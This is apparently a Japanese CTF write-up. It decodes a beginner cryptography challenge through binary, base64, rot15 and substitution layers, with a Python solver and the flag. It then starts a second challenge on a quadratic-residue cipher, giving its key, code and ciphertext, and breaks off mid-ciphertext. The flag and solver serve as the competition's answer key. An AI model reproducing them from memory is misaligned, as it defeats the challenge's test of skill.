01101011 01001001 01001000 01101100 01110111 01011010 01000111 00111001 00110100 01001001 01001000 01001110 00110100 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110010 01100100 01101110 01110000 01111001 01100001 00110010 01111000 01110110 01011010 01000011 01110111 01100111 01011001 00110011 01101011 01100111 01011010 01001000 01001010 01110010 01011010 01000011 01100100 01101010 01001001 01001000 01110000 01101001 01100101 01010111 01111000 01110010 01100010 01001000 01011010 01110000 01001001 01000111 01010010 01111001 01100010 01111001 01000010 00110011 01100101 01010111 01001110 01101011 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01110100 01100011 01101101 01110100 01101001 01100001 00110010 00110001 01101011 01100010 00110010 01001001 01100111 01100011 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01010010 01110110 01100001 01000111 01010001 01110011 01001001 01001000 01000010 00110101 01100100 01101110 01011010 00110101 01011010 00110010 00111001 01110101 01001001 01000111 01111000 01110000 01001001 01000011 01100100 01101011 01001010 01111001 01110111 01100111 01100001 00110011 01101000 01110101 01001001 01000111 01001110 00110101 01001001 01001000 01101100 00110100 01001100 01101001 01000010 01011010 01100101 01000111 00110001 01110110 01001001 01000111 01101100 00110101 01011010 01010011 01000010 00110001 01100101 01001000 01101100 01101110 01001001 01000111 01110011 01100111 01100011 01000111 00111001 01101110 01001001 01000111 00110001 01111001 01100001 00110010 01001010 01110010 01100010 01010111 01010010 01110110 01011001 01101101 01001101 01110011 01001001 01000111 01101100 00110101 01011010 01010011 01000010 01110100 01100001 00110011 01100111 01100111 01100011 00110011 01101000 01110111 01100010 00110010 01001001 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01001010 01110110 01011001 00110010 01010001 01100111 01100101 01011000 01000001 01100111 01011010 01001000 01001010 01110110 01001001 01000111 01100100 00110101 01011001 01101101 00110101 01101010 01001001 01000111 01111000 01110010 01011001 00110010 00111001 01110101 01001001 01001000 01101100 00110100 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01101110 01100101 01010111 01001010 01110101 01011001 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000111 01001110 01111001 01100101 01010111 01100011 01100111 01011010 01011000 01101111 01100111 01100011 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01000101 00111001 00110100 01100011 01011000 01011010 01111010 01011001 00110011 01001001 01100111 01100100 01101101 01110100 00110100 01100011 01010111 01010110 01110010 01100011 01010111 00111000 01110101 01000011 01101110 01001010 01101110 01100001 01000111 00110101 00110100 01100011 00110010 01010010 01101101 01100101 01011000 01001110 01101011 01100100 01000111 01100100 01101111 01100100 01010011 01000101 01100111 01100011 01010111 01100100 01101101 01001001 01000111 01101100 01111010 01011001 01010111 01110011 01100111 01011001 00110011 01010010 01101111 01100100 01001000 01010110 01110000 01100001 00110010 01010101 01100111 01011010 01000111 01101100 01110010 01001001 01001000 01110000 01110010 01100010 01101110 01010010 01101111 01100001 01000111 01110100 00110100 01001001 01001000 01001010 00110100 01100011 01010111 01111000 01101011 01011010 00110010 00110101 00110100 01100011 00110010 01111000 01110000 01100011 01010011 01000010 01111001 01100001 01011000 01001110 00110101 01100101 01010111 01110100 01101111 01100010 01101101 01110011 01110101 01001001 01000111 01101100 01110010 01100101 01000111 01110011 01100111 01100100 01001000 01010101 01100111 01100011 01111001 01000010 01101010 01100101 01011000 01001110 01110101 01001001 01000111 01001110 01101110 01100101 01000011 01000010 01111010 01100101 01011000 01101011 01100111 01100011 01010111 01100100 01101101 01100101 01000011 01000010 01110000 01100011 00110011 01101000 01101100 01001001 01000111 01110100 01101010 01011001 00110010 01100100 00110100 01011010 01001000 01010101 00110110 01001001 01000111 01011010 01101011 01011001 00110011 01101100 01111010 01100010 01101110 01110011 01111010 01100001 01001000 01001010 00110100 01100011 01010111 01111000 01101011 01001101 01010100 01000010 01101111 01011000 01111010 01000101 00110001 01011000 00110011 01001001 01110111 01001101 01001000 01101100 00111001 01001100 01101001 01000010 01111000 01011010 00110010 01011001 01100111 01100100 01101110 01010010 00110101 01100101 01010011 01000010 01101010 01100100 01000111 01101000 01101100 01001001 01000111 01010010 01110000 01100011 00110010 01010001 01100111 01100011 01111001 01000010 00110101 01011010 00110010 01010001 01100111 01011010 00110010 01001101 01100111 01100011 01101110 01101000 01111000 01100010 01000111 01010010 01101110 01100010 01101110 01101000 01111010 01100010 01000111 01101100 01111000 01001001 01001000 01010010 00110001 01001001 01001000 01000010 01101101 01100100 01010111 01010001 01100111 01100101 01101101 01011010 00110000 01100101 01010111 01010110 00110000 01100001 01000111 00110100 01100111 01011010 00110010 01001110 01101010 01001001 01000111 01010010 01110000 01100100 01001000 01010101 01100111 01100100 01010111 01100100 00110100 01011010 01000011 01000010 01101110 01011001 01111001 01000010 00110110 01100011 00110011 01010110 00110000 01100011 01101001 01000010 01101001 01100001 01000111 01100100 00110010 01100101 01010111 01110100 01101100 01100010 01101101 01110011 01110011 01001001 01001000 01001110 01101111 01011010 01010011 01000010 00110000 01011010 01000011 01000010 00110100 01100001 00110011 01001110 00110101 01100101 01011000 01000101 01100111 01100100 01001000 01010101 01100111 01100001 01000111 01100100 01101011 01001001 01001000 01010110 01101110 01001001 01001000 01110000 01111010 01011010 01010011 01000010 01111010 01011001 00110010 01010010 01110010 01100101 01000011 01000010 01111010 01100101 01011000 01101011 01110101 01001001 01000111 01101100 01101110 01100010 01000111 01110011 01100111 01100011 01010111 01100100 01101101 01001001 01000111 01110100 01101111 01100011 01000111 01100100 01111000 01100001 00110010 01010101 01100111 01011010 01000111 01101100 01110010 01001001 01001000 01001010 01110000 01100011 00110011 01101100 00110101 01100001 00110010 01101000 01110101 01100001 01111001 01000101 00111101
どう見てもASCIIなので変換スクリプトを書いてあげると以下のようになります.
Uh-oh, looks like we have another block of text, with some sort of special encoding. Can you figure out what this encoding is? (hint: if you look carefully, you'll notice that there only characters present are A-Z, a-z, 0-9, and sometimes / and +. See if you can find an encoding that looks like this one.) TmV3IGNoYWxsZW5nZSEgQ2FuIHlvdSBmaWd1cmUgb3V0IHdoYXQncyBnb2luZyBvbiBoZXJlPyBJdCBsb29rcyBsaWtlIHRoZSBsZXR0ZXJzIGFyZSBzaGlmdGVkIGJ5IHNvbWUgY29uc3RhbnQuIChoaW50OiB5b3UgbWlnaHQgd2FudCB0byBzdGFydCBsb29raW5nIHVwIFJvbWFuIHBlb3BsZSkuCmt2YnNxcmQsIGl5ZSdibyBrdnd5Y2QgZHJvYm8hIFh5ZyBweWIgZHJvIHBzeGt2IChreG4gd2tpbG8gZHJvIHJrYm5vY2QuLi4pIHprYmQ6IGsgY2VsY2RzZGVkc3l4IG1zenJvYi4gU3ggZHJvIHB5dnZ5Z3N4cSBkb2hkLCBTJ2ZvIGRrdW94IHdpIHdvY2NrcW8ga3huIGJvenZrbW9uIG9mb2JpIGt2enJrbG9kc20gbXJrYmttZG9iIGdzZHIgayBteWJib2N6eXhub3htbyBkeSBrIG5zcHBvYm94ZCBtcmtia21kb2IgLSB1eHlneCBrYyBrIGNlbGNkc2RlZHN5eCBtc3pyb2IuIE1reCBpeWUgcHN4biBkcm8gcHN4a3YgcHZrcT8gcnN4ZDogR28gdXh5ZyBkcmtkIGRybyBwdmtxIHNjIHF5c3hxIGR5IGxvIHlwIGRybyBweWJ3a2QgZWRwdmtxey4uLn0gLSBncnNtciB3b2t4YyBkcmtkIHNwIGl5ZSBjb28gZHJrZCB6a2Rkb2J4LCBpeWUgdXh5ZyBncmtkIGRybyBteWJib2N6eXhub3htb2MgcHliIGUsIGQsIHAsIHYgaywga3huIHEga2JvLiBJeWUgbWt4IHpieWxrbHZpIGd5YnUgeWVkIGRybyBib3drc3hzeHEgbXJrYmttZG9iYyBsaSBib3p2a21zeHEgZHJvdyBreG4gc3hwb2Jic3hxIG15d3d5eCBneWJuYyBzeCBkcm8gT3hxdnNjciB2a3hxZWtxby4gS3h5ZHJvYiBxYm9rZCB3b2RyeW4gc2MgZHkgZWNvIHBib2Flb3htaSBreGt2aWNzYzogZ28gdXh5ZyBkcmtkICdvJyBjcnlnYyBleiB3eWNkIHlwZG94IHN4IGRybyBrdnpya2xvZCwgY3kgZHJrZCdjIHpieWxrbHZpIGRybyB3eWNkIG15d3d5eCBtcmtia21kb2Igc3ggZHJvIGRvaGQsIHB5dnZ5Z29uIGxpICdkJywga3huIGN5IHl4LiBZeG1vIGl5ZSB1eHlnIGsgcG9nIG1ya2JrbWRvYmMsIGl5ZSBta3ggc3hwb2IgZHJvIGJvY2QgeXAgZHJvIGd5Ym5jIGxrY29uIHl4IG15d3d5eCBneWJuYyBkcmtkIGNyeWcgZXogc3ggZHJvIE94cXZzY3Igdmt4cWVrcW8uCnJnaG54c2RmeXNkdGdodSEgcWdmIGlzYWsgY3RodHVpa2UgZGlrIHprbnRoaGt4IHJ4cWxkZ254c2xpcSByaXN5eWtobmsuIGlreGsgdHUgcyBjeXNuIGNneCBzeXkgcWdmeCBpc3hlIGtjY2d4ZHU6IGZkY3lzbnszaHJ4cWxkMTBoXzE1X3IwMHl9LiBxZ2YgdnR5eSBjdGhlIGRpc2QgcyB5Z2QgZ2MgcnhxbGRnbnhzbGlxIHR1IHBmdWQgemZ0eWV0aG4gZ2NjIGRpdHUgdWd4ZCBnYyB6c3V0ciBiaGd2eWtlbmssIHNoZSB0ZCB4a3N5eXEgdHUgaGdkIHVnIHpzZSBzY2RreCBzeXkuIGlnbGsgcWdmIGtocGdxa2UgZGlrIHJpc3l5a2huayE=
どう見てもbase64なので変換スクリプトを書いてあげると以下のようになります.
New challenge! Can you figure out what's going on here? It looks like the letters are shifted by some constant. (hint: you might want to start looking up Roman people). kvbsqrd, iye'bo kvwycd drobo! Xyg pyb dro psxkv (kxn wkilo dro rkbnocd...) zkbd: k celcdsdedsyx mszrob. Sx dro pyvvygsxq dohd, S'fo dkuox wi wocckqo kxn bozvkmon ofobi kvzrklodsm mrkbkmdob gsdr k mybboczyxnoxmo dy k nsppoboxd mrkbkmdob - uxygx kc k celcdsdedsyx mszrob. Mkx iye psxn dro psxkv pvkq? rsxd: Go uxyg drkd dro pvkq sc qysxq dy lo yp dro pybwkd edpvkq{...} - grsmr wokxc drkd sp iye coo drkd zkddobx, iye uxyg grkd dro mybboczyxnoxmoc pyb e, d, p, v k, kxn q kbo. Iye mkx zbylklvi gybu yed dro bowksxsxq mrkbkmdobc li bozvkmsxq drow kxn sxpobbsxq mywwyx gybnc sx dro Oxqvscr vkxqekqo. Kxydrob qbokd wodryn sc dy eco pboaeoxmi kxkvicsc: go uxyg drkd 'o' crygc ez wycd ypdox sx dro kvzrklod, cy drkd'c zbylklvi dro wycd mywwyx mrkbkmdob sx dro dohd, pyvvygon li 'd', kxn cy yx. Yxmo iye uxyg k pog mrkbkmdobc, iye mkx sxpob dro bocd yp dro gybnc lkcon yx mywwyx gybnc drkd cryg ez sx dro Oxqvscr vkxqekqo. rghnxsdfysdtghu! qgf isak cthtuike dik zknthhkx rxqldgnxsliq risyykhnk. ikxk tu s cysn cgx syy qgfx isxe kccgxdu: fdcysn{3hrxqld10h_15_r00y}. qgf vtyy cthe disd s ygd gc rxqldgnxsliq tu pfud zftyethn gcc ditu ugxd gc zsutr bhgvykenk, she td xksyyq tu hgd ug zse scdkx syy. iglk qgf khpgqke dik risyykhnk!
rot系っぽいので総当たりします.
alright, you're almost there! Xow for the final (and maybe the hardest...) part: a substitution cipher. Sn the following text, S've taken my message and replaced every alphabetic character with a correspondence to a different character - known as a substitution cipher. Man you find the final flag? hint: Ge know that the flag is going to be of the format utflagq...s - which means that if you see that pattern, you know what the correspondences for u, t, f, l a, and g are. Iou can probably work out the remaining characters by replacing them and inferring common words in the Onglish language. Knother great method is to use frequency analysis: we know that 'e' shows up most often in the alphabet, so that's probably the most common character in the text, followed by 't', and so on. Ynce you know a few characters, you can infer the rest of the words based on common words that show up in the Onglish language. hwxdnitvoitjwxk! gwv yiqa sjxjkyau tya padjxxan hngbtwdnibyg hyiooaxda. yana jk i soid swn ioo gwvn yinu asswntk: vtsoid{3xhngbt10x_15_h00o}. gwv ljoo sjxu tyit i owt ws hngbtwdnibyg jk fvkt pvjoujxd wss tyjk kwnt ws pikjh rxwloauda, ixu jt naioog jk xwt kw piu istan ioo. ywba gwv axfwgau tya hyiooaxda!
rot15でした.
どうやら次が最終パート(換字式暗号)みたいです.
問題文では文字の出現頻度を利用して換字を推定すると良いみたいなことが書かれていますが,手作業でやると少し時間がかかるのでquipqiup
を使います.
congratulations! you have finished the beginner cryptography challenge. here is a flag for all your hard efforts: utflag{3ncrypt10n_15_c00l}. you will find that a lot of cryptography is just building off this sort of basic knowledge, and it really is not so bad after all. hope you enjoyed the challenge!
utflag{3ncrypt10n_15_c00l}
ソルバは以下のようになっています.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import base64 def phase1(): with open('./binary.txt') as f: b = f.read() b_list = b.strip().split(' ') b_text = [] for x in b_list: b_text.append(chr(int(x,2))) return ''.join(b_text) def phase2(p1_result): enc64_text = p1_result.split('\n')[1] dec64_text = base64.b64decode(enc64_text) return dec64_text.decode('utf-8') def phase3(p2_result): enc_text = p2_result.split('\n')[1] dec_text = [] for x in enc_text: if 97 <= ord (x) and ord(x) <= 127: dec_text.append(chr((ord(x) + 15 - 96) % 26 + 97)) else: dec_text.append(x) print(''.join(dec_text)) enc_text2 = p2_result.split('\n')[2] dec_text2 = [] for x in enc_text2: if 97 <= ord (x) and ord(x) <= 122: dec_text2.append(chr((ord(x) + 15 - 96) % 26 + 97)) else: dec_text2.append(x) return ''.join(dec_text2) def phase4(p3_result): dec_dict = {'a':'e', 'b':'p', 'd':'g', 'f':'j', 'g':'y', 'h':'c', 'i':'a', 'j':'i', 'k':'s', 'l':'w', 'n':'r', 'o':'l', 'p':'b', 'q':'v', 'r':'k', 's':'f', 't':'t','u':'d', 'v':'u', 'w':'o', 'x':'n', 'y':'h'} flag = [] for x in p3_result: dec_x = dec_dict.get(x) if dec_x is None: flag.append(x) else: flag.append(dec_x) return ''.join(flag) if __name__ == '__main__': p1_result = phase1() print(p1_result) p2_result = phase2(p1_result) print(p2_result) p3_result = phase3(p2_result) flag = phase4(p3_result) print(flag)
> python solve.py Uh-oh, looks like we have another block of text, with some sort of special encoding. Can you figure out what this encoding is? (hint: if you look carefully, you'll notice that there only characters present are A-Z, a-z, 0-9, and sometimes / and +. See if you can find an encoding that looks like this one.) TmV3IGNoYWxsZW5nZSEgQ2FuIHlvdSBmaWd1cmUgb3V0IHdoYXQncyBnb2luZyBvbiBoZXJlPyBJdCBsb29rcyBsaWtlIHRoZSBsZXR0ZXJzIGFyZSBzaGlmdGVkIGJ5IHNvbWUgY29uc3RhbnQuIChoaW50OiB5b3UgbWlnaHQgd2FudCB0byBzdGFydCBsb29raW5nIHVwIFJvbWFuIHBlb3BsZSkuCmt2YnNxcmQsIGl5ZSdibyBrdnd5Y2QgZHJvYm8hIFh5ZyBweWIgZHJvIHBzeGt2IChreG4gd2tpbG8gZHJvIHJrYm5vY2QuLi4pIHprYmQ6IGsgY2VsY2RzZGVkc3l4IG1zenJvYi4gU3ggZHJvIHB5dnZ5Z3N4cSBkb2hkLCBTJ2ZvIGRrdW94IHdpIHdvY2NrcW8ga3huIGJvenZrbW9uIG9mb2JpIGt2enJrbG9kc20gbXJrYmttZG9iIGdzZHIgayBteWJib2N6eXhub3htbyBkeSBrIG5zcHBvYm94ZCBtcmtia21kb2IgLSB1eHlneCBrYyBrIGNlbGNkc2RlZHN5eCBtc3pyb2IuIE1reCBpeWUgcHN4biBkcm8gcHN4a3YgcHZrcT8gcnN4ZDogR28gdXh5ZyBkcmtkIGRybyBwdmtxIHNjIHF5c3hxIGR5IGxvIHlwIGRybyBweWJ3a2QgZWRwdmtxey4uLn0gLSBncnNtciB3b2t4YyBkcmtkIHNwIGl5ZSBjb28gZHJrZCB6a2Rkb2J4LCBpeWUgdXh5ZyBncmtkIGRybyBteWJib2N6eXhub3htb2MgcHliIGUsIGQsIHAsIHYgaywga3huIHEga2JvLiBJeWUgbWt4IHpieWxrbHZpIGd5YnUgeWVkIGRybyBib3drc3hzeHEgbXJrYmttZG9iYyBsaSBib3p2a21zeHEgZHJvdyBreG4gc3hwb2Jic3hxIG15d3d5eCBneWJuYyBzeCBkcm8gT3hxdnNjciB2a3hxZWtxby4gS3h5ZHJvYiBxYm9rZCB3b2RyeW4gc2MgZHkgZWNvIHBib2Flb3htaSBreGt2aWNzYzogZ28gdXh5ZyBkcmtkICdvJyBjcnlnYyBleiB3eWNkIHlwZG94IHN4IGRybyBrdnpya2xvZCwgY3kgZHJrZCdjIHpieWxrbHZpIGRybyB3eWNkIG15d3d5eCBtcmtia21kb2Igc3ggZHJvIGRvaGQsIHB5dnZ5Z29uIGxpICdkJywga3huIGN5IHl4LiBZeG1vIGl5ZSB1eHlnIGsgcG9nIG1ya2JrbWRvYmMsIGl5ZSBta3ggc3hwb2IgZHJvIGJvY2QgeXAgZHJvIGd5Ym5jIGxrY29uIHl4IG15d3d5eCBneWJuYyBkcmtkIGNyeWcgZXogc3ggZHJvIE94cXZzY3Igdmt4cWVrcW8uCnJnaG54c2RmeXNkdGdodSEgcWdmIGlzYWsgY3RodHVpa2UgZGlrIHprbnRoaGt4IHJ4cWxkZ254c2xpcSByaXN5eWtobmsuIGlreGsgdHUgcyBjeXNuIGNneCBzeXkgcWdmeCBpc3hlIGtjY2d4ZHU6IGZkY3lzbnszaHJ4cWxkMTBoXzE1X3IwMHl9LiBxZ2YgdnR5eSBjdGhlIGRpc2QgcyB5Z2QgZ2MgcnhxbGRnbnhzbGlxIHR1IHBmdWQgemZ0eWV0aG4gZ2NjIGRpdHUgdWd4ZCBnYyB6c3V0ciBiaGd2eWtlbmssIHNoZSB0ZCB4a3N5eXEgdHUgaGdkIHVnIHpzZSBzY2RreCBzeXkuIGlnbGsgcWdmIGtocGdxa2UgZGlrIHJpc3l5a2huayE= New challenge! Can you figure out what's going on here? It looks like the letters are shifted by some constant. (hint: you might want to start looking up Roman people). kvbsqrd, iye'bo kvwycd drobo! Xyg pyb dro psxkv (kxn wkilo dro rkbnocd...) zkbd: k celcdsdedsyx mszrob. Sx dro pyvvygsxq dohd, S'fo dkuox wi wocckqo kxn bozvkmon ofobi kvzrklodsm mrkbkmdob gsdr k mybboczyxnoxmo dy k nsppoboxd mrkbkmdob - uxygx kc k celcdsdedsyx mszrob. Mkx iye psxn dro psxkv pvkq? rsxd: Go uxyg drkd dro pvkq sc qysxq dy lo yp dro pybwkd edpvkq{...} - grsmr wokxc drkd sp iye coo drkd zkddobx, iye uxyg grkd dro mybboczyxnoxmoc pyb e, d, p, v k, kxn q kbo. Iye mkx zbylklvi gybu yed dro bowksxsxq mrkbkmdobc li bozvkmsxq drow kxn sxpobbsxq mywwyx gybnc sx dro Oxqvscr vkxqekqo. Kxydrob qbokd wodryn sc dy eco pboaeoxmi kxkvicsc: go uxyg drkd 'o' crygc ez wycd ypdox sx dro kvzrklod, cy drkd'c zbylklvi dro wycd mywwyx mrkbkmdob sx dro dohd, pyvvygon li 'd', kxn cy yx. Yxmo iye uxyg k pog mrkbkmdobc, iye mkx sxpob dro bocd yp dro gybnc lkcon yx mywwyx gybnc drkd cryg ez sx dro Oxqvscr vkxqekqo. rghnxsdfysdtghu! qgf isak cthtuike dik zknthhkx rxqldgnxsliq risyykhnk. ikxk tu s cysn cgx syy qgfx isxe kccgxdu: fdcysn{3hrxqld10h_15_r00y}. qgf vtyy cthe disd s ygd gc rxqldgnxsliq tu pfud zftyethn gcc ditu ugxd gc zsutr bhgvykenk, she td xksyyq tu hgd ug zse scdkx syy. iglk qgf khpgqke dik risyykhnk! alright, you're almost there! Xow for the final (and maybe the hardest...) part: a substitution cipher. Sn the following text, S've taken my message and replaced every alphabetic character with a correspondence to a different character - known as a substitution cipher. Man you find the final flag? hint: Ge know that the flag is going to be of the format utflagq...s - which means that if you see that pattern, you know what the correspondences for u, t, f, l a, and g are. Iou can probably work out the remaining characters by replacing them and inferring common words in the Onglish language. Knother great method is to use frequency analysis: we know that 'e' shows up most often in the alphabet, so that's probably the most common character in the text, followed by 't', and so on. Ynce you know a few characters, you can infer the rest of the words based on common words that show up in the Onglish language. congratulations! you have finished the beginner cryptography challenge. here is a flag for all your hard efforts: utflag{3ncrypt10n_15_c00l}. you will find that a lot of cryptography is just building off this sort of basic knowledge, and it really is not so bad after all. hope you enjoyed the challenge!
Jacobi's Chance Encryption (Cryptography, 750 pts, 76 solves)
Public Key:
569581432115411077780908947843367646738369018797567841
[flag.enc]
def encrypt(m, pub_key): bin_m = ''.join(format(ord(x), '08b') for x in m) n, y = pub_key def encrypt_bit(bit): x = randint(0, n) if bit == '1': return (y * pow(x, 2, n)) % n return pow(x, 2, n) return map(encrypt_bit, bin_m)
3ad3750f859c2c8fc1eb2076f876322cd17421c1cff88,0,0,0,3a46387fd709d3b4692cab59248ad3f426e9b8cd5bffe,0,2a6670878e3f48cfd5abcb7940b6df1d22650a438e905,0,5b9c517cca0d3ab82864545d1c943d8ab198650830b38,0,0,0,38e4b15d3ce5567cc7257cc8bb6b205caf2019b35f2a6,0,35bd6c7234811aef80bfee6245fbde8242b056730138a,ec3fffb29bfe1b8473bd2ea04898d3b8ae280cdd599,21498339f1250e7a6ad9d3de38ab4570cc5ae6e1abf1d,0,0,2e41759047b358d16001106dbed035c2988cc70e3465a,515d722c387c1ff1b3d82df07d9ab8d768601fd289977,0,0,5dcd5fb5ed0889a57b6d7f861465ab8bb0bacdf3c9015,3bea61e3ae79cfce65313ad0f3a5c06756718cdfe6dbc,0,0,32526a618b4a68f0f500e2c28b28657a685ef921ccb1e,0,0,2b2de511c67be3942f813642fc86ed58d3336cc545366,8b388f5ad9f9bcbfdbfd56448d31109cbda3b9a6a19e,1849b58830e2b2a4aec0f2e2402baf24e359bb2d2d597,0,0,182a15af9f447ae092b99cd4a92d3cbfa3e59b873df9d,47805e2beb12898f8ca786bf44c574e14fda72413441e,5e428ab03b0a59994e2665ab47b460c07a5c287ffa83e,c2b05078b5d5e4b4b16d63d3605e8e9168c094f9e49e,0,137e41ffaab7b673f9f66b124ec7c3d5cf6f35a6c027b,0,0,7013fd7be70e60d8466620b91322d2df1423fc3448c7,20a04d2503190d2dc212f3142954ad03b034d350705d0,0,0,0,38674cf6d907f0489eab987a92a226e696cb57756c1fd,0,0,0,0,49c93d181739024dfba0249ecdecd85d35fc2e3438c68,0,0,412b046edde3a94a3f1a0eb6e3c7239e143d0858c7579,0,0,21dc7b7db7e1f67072e1012df0f95da988984602c5040,2482d2a9798e2f818aca743ade524ad78d426787964e0,0,6481395ddbf7ff011854984fbfcdb68a4646d3d0a46c,5047bc50b4c717d50e70767b6337c0e288130689dd21d,b4c98854e437c12beb0092f5ab92e0ef03f24147bd57,0,0,3345f0bc3edf8c21b2fdf591557284f4ddcc90ec468b,0,4a34e17584c919b7dd2ba15f61a6761079590b274f236,4c4e57670dd3386e3f1d5ffb4a03e67c3cce8124fea02,0,20afc75c61bb13ecd4b8022e46ccb61430a1e9b1e3686,0,0,1c82bfae00e66d895126efa79559ce865dd3d10f48416,28afec1451036a90be5da04dbf130597fa7b5b9b96849,0,ee9fbef355f06e79fa1266786f203e67ba9ec5feebe8,350d1cefe02c55b2e53b2179bd61e5e4a8c56b0e767f7,5041e4ee83daf2e49d780330159b6cc1f0b2b04e69a1f,0,4cfbf617c552b79041891c882676111b05737f14c4427,0,0,0,0,0,49649168966fafd1ad13a557fbf288f1f334215035746,0,0,0,152e4e8604810791cffc63625c7bba32186d0b447ccc0,0,47e19816c3d743a62f8667030cf586ab9c74fe3d1e589,0,2447268356aac34514fd1a20f3ee9a5a6c68d5f9a20eb,0,21d82ba5f1dbee7b7d2a277fdf8778d979a6e6103a45c,0,0,0,0,0,3530fd4cfc21cfbe5cea85b058759768c67573b2a28a4,0,0,0,5c18b79bc7dbc03b158187afdca3e1667f20e1b44159e,417e9f2a0820298963144bbb205b9598baebeb6c952c7,d873894e2c210d5a5abecf22fb2b933bc3591bc42165,1053349f683a86ccf76667690c4e08a0a1359da67dea,30a7e917ad4a7edb8387f60a7d90bcc68b2abf1891059,0,0,1a0bb932e2d13139f649c98715952fb7986c663a6f24a,2ca00c675427fef81114c1052759a4e9313b2a4b4fe74,491769cbfb1825c85b02ac643547e0c5ffebb12a05d2,43ca5a52e5780ff99d51348f8f299c7f48b6bde7f8721,0,3dab706ec6906ee37c29cd807a7964dc95ec0d6c34968,0,0,0,0,8076cbc4fa82b9109f695e38d7fb8802c4b140238d5c,862773d42f56151c94b3c24606edaab8d12b4f38aa56,0,3d8ea2f2a54bc99dbd5a9c4a09bbeeb9f8f89f2fd4ec6,0,1a1162d8005591a6d9d255a3c64963dd6c2b5a63235ae,0,0,0,0,0,1ef1bd3f838744fb34cf07a4c4ba688a02c9fb550fea3,0,0,424d57bf5cdbe479ea7596d30348635b7017de83045af,422611e1297e811988effe0ae7973639b6fe95640feae,5925ea727f426aad4faa619c692f2040da956dde9c0b4,21b03f7303387078d1ecc723b5b9b82d864a950e8ae18,0,2acf2d1844e64941997d42f6634222cfea9bb8f1c6c3a,0,0,0,2652f587a28e0bc9fccc9266f4d4fd24dd009b311c029,0,1b018b971ad55025ce3150dfcab3f476b5a8a51e97cc9,31b3629e20a25d917acda299cee182df23e84933e1fc7,2cdecd0635ef68af1b49deba4d4c5f368290731b12955,0,0,0,59af6719c0d73625fb24c6054ddc947d9007777832bb5,0,3f51ceffcda71936ed3d49505d2e855a93f70bcf4d680,56b5003cf8674e0b50e41a7ead88b35c934c665f99eaf,1e13bf35815787e44009499c4d828e33136f4b934e8c6,0,0,1dc0e943e8bdd0afb8c769fe57b59249fd8a513f6472c,4995b3983e52801940feca4e4ad772f7f988d794808e3,0,5a4d18df6303ae5d27d730e9ec03879a9354d6ac9bb6e,0,576ff5eb2ef65e2742980cd4dcd908c92ee777792c1ba,0,0,69455d800e45b163ebabf42796fa489b37674d36e9be,0,0,0,21acac2b8223dff389be96cdc894a7a99a32599d472ce,870c33409d4bc8049b72a5ffce00f229821bcdafe053,0,0,0,52b4d9258e96c4be687f712a08c9ec9c7daba01bcd74c,0,3643b13ffb3ee5208e557abb03697468ff9ce6c5d8bf3,50ef19f0f625bb8e3ab2915201bcf9ae0b40656bbee49,1056670d4c3ea98038f8ecd74440033aeff3064a2e005,0,0,22698fa2d377aee3f2a63c288f17fe2d1061b61b62b94,0,26faa98d38033cfb0653b447d8a7f268f68ab8e51f252,1f5b0997e693c897caec45f5ea38cb24b4ddd27422fec,0,4bb0e445302f5b28ee3e7b36a93dd2e8d12eaa3119772,0,0,4d42df71d8e24a1424eed881c1302f6c21114b1ba84f4,0,0,0,0,312607440a6ec3fdb8401d1db690de41dfeae70cfaefe,0,0,3f620fe471b5b59218c1e554fffc64066e576e09c9b6,0,0,0,23cd34716eaa5762d59728699783cb51d8f87525ab2c8,27f24f062089f67afac376186335fbbd6da4ab6803bf1,0,27811be1b34c349949a7d7de701438ace3f22ab3857b4,0,0,0,0,0,c2937375f4db8464dc81875295ff47d897b749572cb0,0,0,1a2425e6231a8b2dfd59b171ac2fa39a54c1c5f2bc18c,0,4601f4a99029129f673dae90c2b8f08ac77c9acb2b67a,2ce224a2c3f3927658c98890201c41e1485ab81773447,0,17f9f932dbb1f2aa279be9b5751d3e461ea97b79fec18,0,0,467cd79faa40ffef1f69490c3205efef24847eb95c313,0,0,0,931f3df14edaf21ebfc1243b1bb065fa128d6f112f10,30671798eb74ea9593b5dd38710f672d25a48d5cab263,0,1e39d859b972edb5f25c0fc197137e89892361ed6c919,0,0,0,0,0,fb0da1dfe3749d91d7260425b08f23b35d22b4a60512,0,0,61718b9028558be04f9af538877bd5fea45000351480,0,0,0,5a225a78daed3e0a2ca3b09629d2e98d37e0ecb48806c,12862b5946fef0d125e0a24fadb0ea567f40b37c8f984,0,0,0,206ecdbbd50a6800ab5bc293b47c2c784bac7578a8ba5,0,481528aa7c00de41818b4a24ebddefa48533dc43a678d,0,4d09c1ead0061318a6410214fbe0b0ccc72056835583d,0,0,45c40da5f6ed58e0851f635117d8162094814d4a10f6e,0,0,49d96e0bcf458bf606c812d4c3c9a7a3b8b4cb41482ef,0,2a0381519bd15dfce996317d3582f858eaa4a0ec0d5e1,0,0,2c1051612093e8e2149f4e2b9b71fc08bf2b1830d7b0b,486bd7ef1b04a2b282d6232e33b6bc72aeb7e971c1238,1c6afa8a2da6e0ea764fd4e0d8a7866111e1afc80ca3e,0,208090933fe494e5e2866f08875a43c0bad38e2138513,406221453e74594ff0a78ad722752655387ac5d17361,0,0,5ebf43af7a6387ee99da56a5135fca5a2c3776c074315,1b5340564c3fcfa9b7aff92de27759b62b2b8e73d5f1e,0,2739b0fd92f8a9304fba5495b0e191087d754ce0b394,0,6416febf2962928a8ef5120576b85de04cf822fe49fe,0,0,0,3e5b4cd5335bce2416b2bdcf69749a058ca3086823af3,33e4a2d274d064bc3b411571cca3d6c2d85404f3ea7b4,0,115ac281bf28f5059ec51c4650d23b6c4a9f454e1b20c,25d011ee737648a87e60e3b97be76c8a9dd3268361796,0,425ed19ba98db56a50e4a298fda5fa9715ab74017a13a,0,0,0,0,0,98ac380fadcde93784206cdbae7a9bc1dda3a92f0e8d,0,0,0,14a9f8eefe6c1aea36c0f011bc6f5fc87fad4510a2868,0,2fe9b18543777aa26ebcdf46e1fc3c652525a2a4a082f,4689ab7aaddd26b88e44abbf52ce6cbf741000c4306e2,87fa26f9a0e9edb1d0ae9145b79d537ce31e5757d8da,0,0,352d826b6b3dfab4c5ada55f2820bea15f98a1e52d304,0,36492d9686ff9b087f76d6ca0be42a9d4